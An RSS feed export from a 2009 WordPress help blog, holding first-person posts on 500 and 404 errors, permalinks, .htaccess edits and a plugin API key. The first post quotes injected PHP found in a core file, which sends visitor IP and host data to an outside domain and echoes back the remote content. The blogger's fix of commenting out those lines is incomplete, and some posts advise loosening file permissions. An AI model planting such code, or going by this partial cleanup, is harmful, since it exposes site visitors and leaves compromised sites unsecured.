<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>How to Build Site from a Blog &#187; Error in Wordpress</title>
	<atom:link href="http://www.madhuriesingh.com/howtobuildsite/index.php/category/error-in-wordpress/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.madhuriesingh.com/howtobuildsite</link>
	<description></description>
	<lastBuildDate>Wed, 31 Aug 2011 12:54:14 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.4</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
		
<!-- Start Of Script Generated By WP-PostViews Plus -->
<script type='text/javascript' src='http://www.madhuriesingh.com/howtobuildsite/wp-includes/js/jquery/jquery.js?ver=1.3.2'></script>
<script type="text/javascript">
/* <![CDATA[ */
/* ]]> */
</script>
<!-- End Of Script Generated By WP-PostViews Plus -->
	<item>
		<title>How to solve warning : file_get_contents (http://24365 online.com/ _YTG_yu/ _dl/ get_info.php?</title>
		<link>http://www.madhuriesingh.com/howtobuildsite/index.php/2009/warning-file_get_contentshttp24365online-com_ytg_yu_dlget_info-php-solved/</link>
		<comments>http://www.madhuriesingh.com/howtobuildsite/index.php/2009/warning-file_get_contentshttp24365online-com_ytg_yu_dlget_info-php-solved/#comments</comments>
		<pubDate>Mon, 02 Nov 2009 18:07:41 +0000</pubDate>
		<dc:creator>Madhurie Singh</dc:creator>
				<category><![CDATA[Error in Wordpress]]></category>

		<guid isPermaLink="false">http://www.madhuriesingh.com/howtobuildsite/?p=544</guid>
		<description><![CDATA[


			
				
			
		
<p>I found this strange error message right at the bottom of my posts in the evening, out of the blue !!!</p>
<p>I wondered what did I do new that caused it but other than adding a small code I did not do anything. </p>
<p>The error message was </p>
<p>Warning: file_get_contents(http://24365online.com/_YTG_yu/_dl/get_info.php?host=www.madhuriesingh.com&#038;referer=&#038;visitor_ip=122.170.41.0) [function.file-get-contents]: failed to open stream: HTTP request [...]]]></description>
			<content:encoded><![CDATA[
<div class="topsy_widget_data topsy_theme_blue" style="float: right;margin-left: 0.75em; background: url(data:,%7B%20%22url%22%3A%20%22http%253A%252F%252Fwww.madhuriesingh.com%252Fhowtobuildsite%252Findex.php%252F2009%252Fwarning-file_get_contentshttp24365online-com_ytg_yu_dlget_info-php-solved%252F%22%2C%20%22style%22%3A%20%22big%22%2C%20%22title%22%3A%20%22How%20to%20solve%20warning%20%3A%20file_get_contents%20%28http%3A%2F%2F24365%20online.com%2F%20_YTG_yu%2F%20_dl%2F%20get_info.php%3F%20%22%20%7D);"></div>
<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.madhuriesingh.com%2Fhowtobuildsite%2Findex.php%2F2009%2Fwarning-file_get_contentshttp24365online-com_ytg_yu_dlget_info-php-solved%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.madhuriesingh.com%2Fhowtobuildsite%2Findex.php%2F2009%2Fwarning-file_get_contentshttp24365online-com_ytg_yu_dlget_info-php-solved%2F&amp;style=normal&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p>I found this strange error message right at the bottom of my posts in the evening, out of the blue !!!</p>
<p>I wondered what did I do new that caused it but other than adding a small code I did not do anything. </p>
<p>The error message was </p>
<p><strong>Warning: file_get_contents(http://24365online.com/_YTG_yu/_dl/get_info.php?host=www.madhuriesingh.com&#038;referer=&#038;visitor_ip=122.170.41.0) [function.file-get-contents]: failed to open stream: HTTP request failed! HTTP/1.1 500 Internal Server Error in /home8/madhurie/public_html/superindiankid/wp-includes/general-template.php on line 61</strong></p>
<p>I opened a ticket asap, as I did not wish to waste time in self analysis as I had live data and live members on my site. </p>
<p>The help was a mail which was this<br />
<em>500 errors can be caused by several things.</p>
<p>1. Make sure all your files and folders have permissions of 755 or lower. Anything higher then 755 will cause a 500 error.</p>
<p>2. Any miscoded or conflicting entries in the .htaccess file will throw a 500 error as well. you can test to see if this is the issue by renaming that file to .htaccess.old and then reloading the page you were getting that error on.</p>
<p>3. Too many running php or fastcgi processes. You can view the processes you are running by clicking on the process manager under the advanced heading of your cPanel.</p>
<p>If you do all of these things and are still getting a 500 error please let me know.</em></p>
<p>One look at the email and I knew I will have to do this error handling myself. So I went to the line 61 on my general-template.php file in wp_content directory. </p>
<p>I saw this strange looking url which I do not remember ever adding or using !</p>
<p>SO I gave a search on the google about this url </p>
<p>$url = &#8220;http://24365online.com/_YTG_yu/_dl/get_info.php?host=$host&#038;referer=$referervisitor_ip=$visitor_ip&#8221;; $content = file_get_contents($url);</p>
<p>I found a beautiful link to wordpress support http://wordpress.org/support/topic/305487 where it was very clear that this silly url was passing onto about my site members to a database link !!!!</p>
<p>So I went back to the general-template.php in wp_content directory, and commented the line 61-64 by placing them under /*  &#8230;.*/<br />
or<br />
/*$content = file_get_contents($url);<br />
				echo  $content;*/</p>
<p>And there that was that !<br />
My site was clean and no error message shown!!!</p>
<p>Thanks a ton to the people who take time to write these error messages on the forum with solution. It makes me feel I am not alone !:)</p>

]]></content:encoded>
			<wfw:commentRss>http://www.madhuriesingh.com/howtobuildsite/index.php/2009/warning-file_get_contentshttp24365online-com_ytg_yu_dlget_info-php-solved/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>404 Broken Link Error page &#8211; File not found- permalinks</title>
		<link>http://www.madhuriesingh.com/howtobuildsite/index.php/2009/404-broken-link-error-page-file-not-found-permalinks/</link>
		<comments>http://www.madhuriesingh.com/howtobuildsite/index.php/2009/404-broken-link-error-page-file-not-found-permalinks/#comments</comments>
		<pubDate>Wed, 28 Oct 2009 13:04:07 +0000</pubDate>
		<dc:creator>Madhurie Singh</dc:creator>
				<category><![CDATA[Error in Wordpress]]></category>

		<guid isPermaLink="false">http://www.madhuriesingh.com/howtobuildsite/?p=436</guid>
		<description><![CDATA[


			
				
			
		
<p>Today I was feeling great   and saw 472000 search result of my name madhurie singh!</p>
<p>But the happiness did not last long   when I found some of the links to my site were giving error : OOPS ! The Links is broken.
The page it takes the browser to is the dreaded 404 [...]]]></description>
			<content:encoded><![CDATA[
<div class="topsy_widget_data topsy_theme_blue" style="float: right;margin-left: 0.75em; background: url(data:,%7B%20%22url%22%3A%20%22http%253A%252F%252Fwww.madhuriesingh.com%252Fhowtobuildsite%252Findex.php%252F2009%252F404-broken-link-error-page-file-not-found-permalinks%252F%22%2C%20%22style%22%3A%20%22big%22%2C%20%22title%22%3A%20%22404%20Broken%20Link%20Error%20page%20-%20File%20not%20found-%20permalinks%22%20%7D);"></div>
<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.madhuriesingh.com%2Fhowtobuildsite%2Findex.php%2F2009%2F404-broken-link-error-page-file-not-found-permalinks%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.madhuriesingh.com%2Fhowtobuildsite%2Findex.php%2F2009%2F404-broken-link-error-page-file-not-found-permalinks%2F&amp;style=normal&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p>Today I was feeling great <img src='http://www.madhuriesingh.com/howtobuildsite/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  and saw 472000 search result of my name madhurie singh!</p>
<p>But the happiness did not last long <img src='http://www.madhuriesingh.com/howtobuildsite/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' />  when I found some of the links to my site were giving error : OOPS ! The Links is broken.<br />
The page it takes the browser to is the dreaded 404 File Not Found!!!!</p>
<p>And the funny part is the link that takes me there was a page that I had never created i.e. www.madhuriesingh.com/tag/holiday !!!</p>
<p>Now I am wondering how on earth did this happen. What does this error mean?</p>
<p>Hmm this site explains it <a href="http://www.bloghighlight.com/broken-links-sinking-search-engine-rankings/">http://www.bloghighlight.com/broken-links-sinking-search-engine-rankings/</a> best.</p>
<p><a href="http://www.bloghighlight.com/7-top-wordpress-seo-plugin-to-boost-blog-traffic/">http://www.bloghighlight.com/7-top-wordpress-seo-plugin-to-boost-blog-traffic/</a></p>
<p>SO I gave a search on 404 error tag link broken:</p>
<p>I see a great number of sites on the same error handling, so lemme start browsing and scanning for the best site:</p>
<p>The first site is http://codex.wordpress.org/Creating_an_Error_404_Page.<br />
http://wordpress.org/support/topic/273787</p>
<p><a href="http://perishablepress.com/press/2008/12/31/redirect-all-broken-links-from-any-domain-via-htaccess/">http://perishablepress.com/press/2008/12/31/redirect-all-broken-links-from-any-domain-via-htaccess/</a><br />
http://codex.wordpress.org/Glossary<br />
http://codex.wordpress.org/Using_Permalinks#Using_.22Pretty.22_permalinks<br />
http://codex.wordpress.org/Using_Permalinks#PATHINFO:_.22Almost_Pretty.22</p>
<p><a href="http://www.lunarforums.com/lunarpages_webhosting_help/problem_with_wordpress_404-t47372.0.html">http://www.lunarforums.com/lunarpages_webhosting_help/problem_with_wordpress_404-t47372.0.html</a></p>
<p>This site claims to resolver all 404 error s by uploading a php file classes.php and functions-post.php</p>
<p><a href="http://wordpress.org/support/topic/54340">http://wordpress.org/support/topic/54340</a> <img src='http://www.madhuriesingh.com/howtobuildsite/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Ok after reading here and there, one important thing that I have found is that I need a <strong>mod_rewrite installed and working and the server able to read the htaccess file</strong>.</p>
<p>I checked my .htaccess file which is in the root directory. I use File Manager in Cpanel to view it even though its a hidden file.<br />
Legacy File Manager does not show hidden files.</p>
<p>My .htaccess file is blank <img src='http://www.madhuriesingh.com/howtobuildsite/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' />   even though I have done changes in permalinks of all my blogs.<br />
It just has this in it<br />
# BEGIN WordPress</p>
<p># END WordPress</p>
<p>So obviously I need to make sure it has at least the mod_rewrite function to make the necessary changes that I have set through the wordpress admin page to all my blogs!</p>
<p>Let me find out the reason for the .htaccess file not being written !</p>
<p>1. One common reason is that the file is not accessible by the wordpress admin page to make the changes in .htaccess file for desired permalinks.<br />
So I will have to change the permissions to allow the wordpress to write the .htaccess file. So I change its permission to 666 not 777.</p>
<p>Now I changed the permalinks from /%year%/%month%/%date%/%post%/  to  /%index%</p>
<p>This is a great site for explaining the permalinks and how to solve errors because of permalinks:<br />
http://www.articlesbase.com/communication-articles/when-wordpress-permalinks-404-42939.html.</p>
<p><em><span style="font-style:normal;">If nothing works I will check this site later <a href="http://www.lunarforums.com/lunarpages_webhosting_help/problem_with_wordpress_404-t47372.0.html">http://www.lunarforums.com/lunarpages_webhosting_help/problem_with_wordpress_404-t47372.0.html</a></span></em></p>
<p>One thing no one will tell ! Never get the site up with test posts unless very sure. Else the bots will index these test files and save them in some server of google or any other engine. And then when that link pops up in the search it will give 404 error, as the file obviously does not exist !</p>
<p>So in case I need to test any page or post, I make sure I preview it several times and keep it live for a few minutes only.</p>

]]></content:encoded>
			<wfw:commentRss>http://www.madhuriesingh.com/howtobuildsite/index.php/2009/404-broken-link-error-page-file-not-found-permalinks/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How to avoid link name getting chopped or truncated?</title>
		<link>http://www.madhuriesingh.com/howtobuildsite/index.php/2009/how-to-avoid-link-name-getting-chopped-or-truncated-2/</link>
		<comments>http://www.madhuriesingh.com/howtobuildsite/index.php/2009/how-to-avoid-link-name-getting-chopped-or-truncated-2/#comments</comments>
		<pubDate>Mon, 28 Sep 2009 12:42:45 +0000</pubDate>
		<dc:creator>Madhurie Singh</dc:creator>
				<category><![CDATA[Error in Wordpress]]></category>

		<guid isPermaLink="false">http://singhmadhuri.wordpress.com/?p=473</guid>
		<description><![CDATA[


			
				
			
		
<p>I have a habit of writing long headings for my articles. I prefer providing as much information about my content just from the headline.But long headlines have their own problems.  </p>
<p>Long permalinks can get chopped off as well, with only part of it working properly or with the entire link disabled. This will cause [...]]]></description>
			<content:encoded><![CDATA[
<div class="topsy_widget_data topsy_theme_blue" style="float: right;margin-left: 0.75em; background: url(data:,%7B%20%22url%22%3A%20%22http%253A%252F%252Fwww.madhuriesingh.com%252Fhowtobuildsite%252Findex.php%252F2009%252Fhow-to-avoid-link-name-getting-chopped-or-truncated-2%252F%22%2C%20%22style%22%3A%20%22big%22%2C%20%22title%22%3A%20%22How%20to%20avoid%20link%20name%20getting%20chopped%20or%20truncated%3F%22%20%7D);"></div>
<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.madhuriesingh.com%2Fhowtobuildsite%2Findex.php%2F2009%2Fhow-to-avoid-link-name-getting-chopped-or-truncated-2%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.madhuriesingh.com%2Fhowtobuildsite%2Findex.php%2F2009%2Fhow-to-avoid-link-name-getting-chopped-or-truncated-2%2F&amp;style=normal&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p>I have a habit of writing long headings for my articles. I prefer providing as much information about my content just from the headline.But long headlines have their own problems. <img src='http://www.madhuriesingh.com/howtobuildsite/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' /> </p>
<p>Long permalinks can get chopped off as well, with only part of it working properly or with the entire link disabled. This will cause a 404 error to be generated &#8211; but not because there&#8217;s something wrong with my permalink, rather because the title is too long.</p>
<p><strong>Solution one:</strong><br />
To fix chopped permalinks I need to edit my .htaccess file and add a line:</p>
<p>RewriteRule ^post/([0-9]+)?/?([0-9]+)?/?$ /index.php?p=$1&amp;page=$2 [QSA]</p>
<p><strong>Solution two:</strong><br />
Another way to solve this truncation of link problem is by posting URLs with angle brackets () on either end. Most email and other problematic software won&#8217;t truncate URLs formatted this way.</p>
<p>I hope this solves my problem once and for all . <img src='http://www.madhuriesingh.com/howtobuildsite/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>

]]></content:encoded>
			<wfw:commentRss>http://www.madhuriesingh.com/howtobuildsite/index.php/2009/how-to-avoid-link-name-getting-chopped-or-truncated-2/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How to set Dunstan Error page for 404 Page not found?</title>
		<link>http://www.madhuriesingh.com/howtobuildsite/index.php/2009/how-to-set-dunstan-error-page-for-404-page-not-found/</link>
		<comments>http://www.madhuriesingh.com/howtobuildsite/index.php/2009/how-to-set-dunstan-error-page-for-404-page-not-found/#comments</comments>
		<pubDate>Thu, 24 Sep 2009 06:13:51 +0000</pubDate>
		<dc:creator>Madhurie Singh</dc:creator>
				<category><![CDATA[Error in Wordpress]]></category>
		<category><![CDATA[404 error page]]></category>
		<category><![CDATA[dunstan error page]]></category>
		<category><![CDATA[madhurie singh]]></category>

		<guid isPermaLink="false">http://singhmadhuri.wordpress.com/?p=471</guid>
		<description><![CDATA[


			
				
			
		
<p>In order to activate the Dunstan-style Error Page plugin, I needed the API code.</p>
<p>How to get API code &#8211; wordpress?</p>
<p>There in Settings &#62;&#62;&#62; Error Page &#62;&#62;&#62; Enter the API code</p>
<p>Now my Dunstan-style Error Page is working.</p>
<p style="text-align:left;">But somehow its working only for 3 blogs!</p>
<p>Why on earth its not working for the 4th blog  .</p>
<p>Ok [...]]]></description>
			<content:encoded><![CDATA[
<div class="topsy_widget_data topsy_theme_blue" style="float: right;margin-left: 0.75em; background: url(data:,%7B%20%22url%22%3A%20%22http%253A%252F%252Fwww.madhuriesingh.com%252Fhowtobuildsite%252Findex.php%252F2009%252Fhow-to-set-dunstan-error-page-for-404-page-not-found%252F%22%2C%20%22style%22%3A%20%22big%22%2C%20%22title%22%3A%20%22How%20to%20set%20Dunstan%20Error%20page%20for%20404%20Page%20not%20found%3F%22%20%7D);"></div>
<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.madhuriesingh.com%2Fhowtobuildsite%2Findex.php%2F2009%2Fhow-to-set-dunstan-error-page-for-404-page-not-found%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.madhuriesingh.com%2Fhowtobuildsite%2Findex.php%2F2009%2Fhow-to-set-dunstan-error-page-for-404-page-not-found%2F&amp;style=normal&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p>In order to activate the Dunstan-style Error Page plugin, I needed the API code.</p>
<p><a href="http://singhmadhuri.wordpress.com/2009/09/24/how-to-get-api-code-for-wordpress-org/">How to get API code &#8211; wordpress?</a></p>
<p>There in Settings &gt;&gt;&gt; Error Page &gt;&gt;&gt; Enter the API code</p>
<p>Now my Dunstan-style Error Page is working.</p>
<p style="text-align:left;">But somehow its working only for 3 blogs!</p>
<p>Why on earth its not working for the 4th blog <img src='http://www.madhuriesingh.com/howtobuildsite/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' /> .</p>
<p>Ok I Found the culprit!!!!!!!!</p>
<p>Dunstan Error 404 works only with Permalinks setting  with &#8220;Index&#8221; i.e.    <strong>/index.php/%year%/%postname%/</strong></p>
<p>No other permalinks setting will work for Dunstan 404 error page<strong>!</strong></p>

]]></content:encoded>
			<wfw:commentRss>http://www.madhuriesingh.com/howtobuildsite/index.php/2009/how-to-set-dunstan-error-page-for-404-page-not-found/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>How to get API code for wordpress.org?</title>
		<link>http://www.madhuriesingh.com/howtobuildsite/index.php/2009/how-to-get-api-code-for-wordpress-org/</link>
		<comments>http://www.madhuriesingh.com/howtobuildsite/index.php/2009/how-to-get-api-code-for-wordpress-org/#comments</comments>
		<pubDate>Thu, 24 Sep 2009 06:03:31 +0000</pubDate>
		<dc:creator>Madhurie Singh</dc:creator>
				<category><![CDATA[Error in Wordpress]]></category>
		<category><![CDATA[404 error page]]></category>
		<category><![CDATA[API code]]></category>
		<category><![CDATA[dunstan error]]></category>
		<category><![CDATA[madhurie singh]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://singhmadhuri.wordpress.com/?p=463</guid>
		<description><![CDATA[


			
				
			
		
<p>In order to activate the Dunstan-style Error Page plugin, I needed the API code.</p>
<p>Now I tried looking for API code in my admin page under Profile page but I did not get anything.</p>
<p>SO I went back to my wordpress.com blog not wordpress.org. If I did not have the blog in wordpress.com, I would have to [...]]]></description>
			<content:encoded><![CDATA[
<div class="topsy_widget_data topsy_theme_blue" style="float: right;margin-left: 0.75em; background: url(data:,%7B%20%22url%22%3A%20%22http%253A%252F%252Fwww.madhuriesingh.com%252Fhowtobuildsite%252Findex.php%252F2009%252Fhow-to-get-api-code-for-wordpress-org%252F%22%2C%20%22style%22%3A%20%22big%22%2C%20%22title%22%3A%20%22How%20to%20get%20API%20code%20for%20wordpress.org%3F%22%20%7D);"></div>
<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.madhuriesingh.com%2Fhowtobuildsite%2Findex.php%2F2009%2Fhow-to-get-api-code-for-wordpress-org%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.madhuriesingh.com%2Fhowtobuildsite%2Findex.php%2F2009%2Fhow-to-get-api-code-for-wordpress-org%2F&amp;style=normal&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p>In order to activate the Dunstan-style Error Page plugin, I needed the API code.</p>
<p>Now I tried looking for API code in my admin page under Profile page but I did not get anything.</p>
<p>SO I went back to my <strong>wordpress.com</strong> blog not wordpress.org. If I did not have the blog in wordpress.com, I would have to create a blog only for the sake of the API code. How strange?</p>
<p>So I login to my wordpress.com blog.</p>
<p>There in the top left hand corner I found     My Account &gt;&gt;Profile &gt;&gt; API code <img src='http://www.madhuriesingh.com/howtobuildsite/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>I copied that API code and again went to the admin page of my wordpress.org blog.</p>
<p>There in Settings &gt;&gt;&gt; Error Page &gt;&gt;&gt; Enter the API code</p>
<p>Now my Dunstan-style Error Page is working.</p>
<p>But somehow its working only for 3 blogs!</p>
<p>Why on earth its not working for the 4th blog <img src='http://www.madhuriesingh.com/howtobuildsite/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' /> .</p>
<p>Ok I Found the culprit!!!!!!!!</p>
<p>Dunstan Error 404 works only with Permalinks setting  with &#8220;Index&#8221; i.e.    <strong>/index.php/%year%/%postname%/ </strong></p>
<p>No other permalinks setting will work for Dunstan 404 error page<strong>!</strong></p>

]]></content:encoded>
			<wfw:commentRss>http://www.madhuriesingh.com/howtobuildsite/index.php/2009/how-to-get-api-code-for-wordpress-org/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How to create 404 Error Page</title>
		<link>http://www.madhuriesingh.com/howtobuildsite/index.php/2009/how-to-create-404-error-page/</link>
		<comments>http://www.madhuriesingh.com/howtobuildsite/index.php/2009/how-to-create-404-error-page/#comments</comments>
		<pubDate>Mon, 21 Sep 2009 13:40:46 +0000</pubDate>
		<dc:creator>Madhurie Singh</dc:creator>
				<category><![CDATA[Error in Wordpress]]></category>
		<category><![CDATA[create 404 error page]]></category>
		<category><![CDATA[madhuriesingh]]></category>

		<guid isPermaLink="false">http://singhmadhuri.wordpress.com/?p=452</guid>
		<description><![CDATA[


			
				
			
		
<p>http://www.mattcutts.com/blog/free-direct-text-links/</p>
<p>http://www.google.com/support/webmasters/bin/answer.py?&#38;answer=93641</p>
<p>http://www.google.com/support/webmasters/bin/answer.py?answer=100044&#38;cbid=-6o2s9sgm6no7&#38;src=cb&#38;lev=answer</p>
<p>http://codex.wordpress.org/Creating_an_Error_404_Page</p>
<p>http://www.codinghorror.com/blog/archives/000819.html</p>
<p>http://teqsnacks.com/2007/08/11/wordpress-turning-404-not-found-random-visitors-to-blog-readers/</p>
<p>http://www.gravytrain.co.uk/blog/2009/07/10/how-to-manage-broken-links-and-404-error-pages/</p>
<p>http://www.spotonseoservices.com/custom-404-error-pages-site-usability/</p>
<p>http://www.goldseo.com/news/customize-word/</p>
<p>Some examples of 404 error pages</p>
<p>http://andrewferguson.net/wordpress-plugins/dunstan-style-error-page/</p>
<p>http://www.blogcatalog.com/search.frame.php?term=error+404+wordpress&#38;id=adac469ca34fa44577c7f945d788a294</p>
<p>http://www.blogcatalog.com/search.frame.php?term=error+404+wordpress&#38;id=c154e5fa70de5b126287f8bd9e2c87af</p>
<p>BROKEN LINK REMOVER AND FIXER plugins</p>
<p>http://www.dailyseoblog.com/2009/06/8-wordpress-plugins-to-make-your-404-error-pages-user-friendly-efficient/</p>
<p>http://techblissonline.com/broken-links-remover-wordpress-plugin/</p>
<p>broken-links-remover.zip</p>
<p>http://blog.semetrical.com/link-building-using-404-error-reports/ makes use of 404 for link building!!</p>

]]></description>
			<content:encoded><![CDATA[
<div class="topsy_widget_data topsy_theme_blue" style="float: right;margin-left: 0.75em; background: url(data:,%7B%20%22url%22%3A%20%22http%253A%252F%252Fwww.madhuriesingh.com%252Fhowtobuildsite%252Findex.php%252F2009%252Fhow-to-create-404-error-page%252F%22%2C%20%22style%22%3A%20%22big%22%2C%20%22title%22%3A%20%22How%20to%20create%20404%20Error%20Page%22%20%7D);"></div>
<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.madhuriesingh.com%2Fhowtobuildsite%2Findex.php%2F2009%2Fhow-to-create-404-error-page%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.madhuriesingh.com%2Fhowtobuildsite%2Findex.php%2F2009%2Fhow-to-create-404-error-page%2F&amp;style=normal&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p><a href="http://www.mattcutts.com/blog/free-direct-text-links/">http://www.mattcutts.com/blog/free-direct-text-links/</a></p>
<p><a href="http://www.google.com/support/webmasters/bin/answer.py?&amp;answer=93641">http://www.google.com/support/webmasters/bin/answer.py?&amp;answer=93641</a></p>
<p><a href="http://www.google.com/support/webmasters/bin/answer.py?answer=100044&amp;cbid=-6o2s9sgm6no7&amp;src=cb&amp;lev=answer">http://www.google.com/support/webmasters/bin/answer.py?answer=100044&amp;cbid=-6o2s9sgm6no7&amp;src=cb&amp;lev=answer</a></p>
<p><a href="http://codex.wordpress.org/Creating_an_Error_404_Page">http://codex.wordpress.org/Creating_an_Error_404_Page</a></p>
<p><a href="http://www.codinghorror.com/blog/archives/000819.html">http://www.codinghorror.com/blog/archives/000819.html</a></p>
<p><a href="http://teqsnacks.com/2007/08/11/wordpress-turning-404-not-found-random-visitors-to-blog-readers/">http://teqsnacks.com/2007/08/11/wordpress-turning-404-not-found-random-visitors-to-blog-readers/</a></p>
<p><a href="http://www.gravytrain.co.uk/blog/2009/07/10/how-to-manage-broken-links-and-404-error-pages/">http://www.gravytrain.co.uk/blog/2009/07/10/how-to-manage-broken-links-and-404-error-pages/</a></p>
<p><a href="http://www.spotonseoservices.com/custom-404-error-pages-site-usability/">http://www.spotonseoservices.com/custom-404-error-pages-site-usability/</a></p>
<p><a href="http://www.goldseo.com/news/customize-word/">http://www.goldseo.com/news/customize-word/</a></p>
<p>Some examples of 404 error pages</p>
<p><a href="http://andrewferguson.net/wordpress-plugins/dunstan-style-error-page/">http://andrewferguson.net/wordpress-plugins/dunstan-style-error-page/</a></p>
<p><a href="http://www.blogcatalog.com/search.frame.php?term=error+404+wordpress&amp;id=adac469ca34fa44577c7f945d788a294" class="broken_link" >http://www.blogcatalog.com/search.frame.php?term=error+404+wordpress&amp;id=adac469ca34fa44577c7f945d788a294</a></p>
<p><a href="http://www.blogcatalog.com/search.frame.php?term=error+404+wordpress&amp;id=c154e5fa70de5b126287f8bd9e2c87af" class="broken_link" >http://www.blogcatalog.com/search.frame.php?term=error+404+wordpress&amp;id=c154e5fa70de5b126287f8bd9e2c87af</a></p>
<p>BROKEN LINK REMOVER AND FIXER plugins</p>
<p><a href="http://www.dailyseoblog.com/2009/06/8-wordpress-plugins-to-make-your-404-error-pages-user-friendly-efficient/">http://www.dailyseoblog.com/2009/06/8-wordpress-plugins-to-make-your-404-error-pages-user-friendly-efficient/</a></p>
<p><a href="http://techblissonline.com/broken-links-remover-wordpress-plugin/">http://techblissonline.com/broken-links-remover-wordpress-plugin/</a></p>
<p>broken-links-remover.zip</p>
<p><a href="http://blog.semetrical.com/link-building-using-404-error-reports/">http://blog.semetrical.com/link-building-using-404-error-reports/</a> makes use of 404 for link building!!</p>

]]></content:encoded>
			<wfw:commentRss>http://www.madhuriesingh.com/howtobuildsite/index.php/2009/how-to-create-404-error-page/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How to fix and solver Permalinks Problem using .Htaccess</title>
		<link>http://www.madhuriesingh.com/howtobuildsite/index.php/2009/how-to-fix-and-solver-permalinks-problem-using-htaccess/</link>
		<comments>http://www.madhuriesingh.com/howtobuildsite/index.php/2009/how-to-fix-and-solver-permalinks-problem-using-htaccess/#comments</comments>
		<pubDate>Mon, 21 Sep 2009 08:45:56 +0000</pubDate>
		<dc:creator>Madhurie Singh</dc:creator>
				<category><![CDATA[Error in Wordpress]]></category>

		<guid isPermaLink="false">http://singhmadhuri.wordpress.com/?p=446</guid>
		<description><![CDATA[


			
				
			
		
<p>Fixing Permalink Problems
Fixing .htaccess Generation Issues
If your installation of WordPress does not generate a .htaccess file or if it does not write the new rules onto your existing .htaccess file then there are a couple reasons that could be causing this. Work step by step and continue to the next step only if the previous [...]]]></description>
			<content:encoded><![CDATA[
<div class="topsy_widget_data topsy_theme_blue" style="float: right;margin-left: 0.75em; background: url(data:,%7B%20%22url%22%3A%20%22http%253A%252F%252Fwww.madhuriesingh.com%252Fhowtobuildsite%252Findex.php%252F2009%252Fhow-to-fix-and-solver-permalinks-problem-using-htaccess%252F%22%2C%20%22style%22%3A%20%22big%22%2C%20%22title%22%3A%20%22How%20to%20fix%20and%20solver%20Permalinks%20Problem%20using%20.Htaccess%22%20%7D);"></div>
<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.madhuriesingh.com%2Fhowtobuildsite%2Findex.php%2F2009%2Fhow-to-fix-and-solver-permalinks-problem-using-htaccess%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.madhuriesingh.com%2Fhowtobuildsite%2Findex.php%2F2009%2Fhow-to-fix-and-solver-permalinks-problem-using-htaccess%2F&amp;style=normal&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p><strong>Fixing Permalink Problems</strong><br />
<strong>Fixing .htaccess Generation Issues</strong><br />
If your installation of WordPress does not generate a .htaccess file or if it does not write the new rules onto your existing .htaccess file then there are a couple reasons that could be causing this. Work step by step and continue to the next step only if the previous step does not work.</p>
<p><strong>Change File Permissions:</strong> You must chmod the .htaccess file to 666 to edit it with the WordPress template editor, but this is not recommended, since if you do that, any user of your blog, who can edit templates will be able to edit it. You can change the permissions to 660 to make it server-writable, which again will have the same limitation.<br />
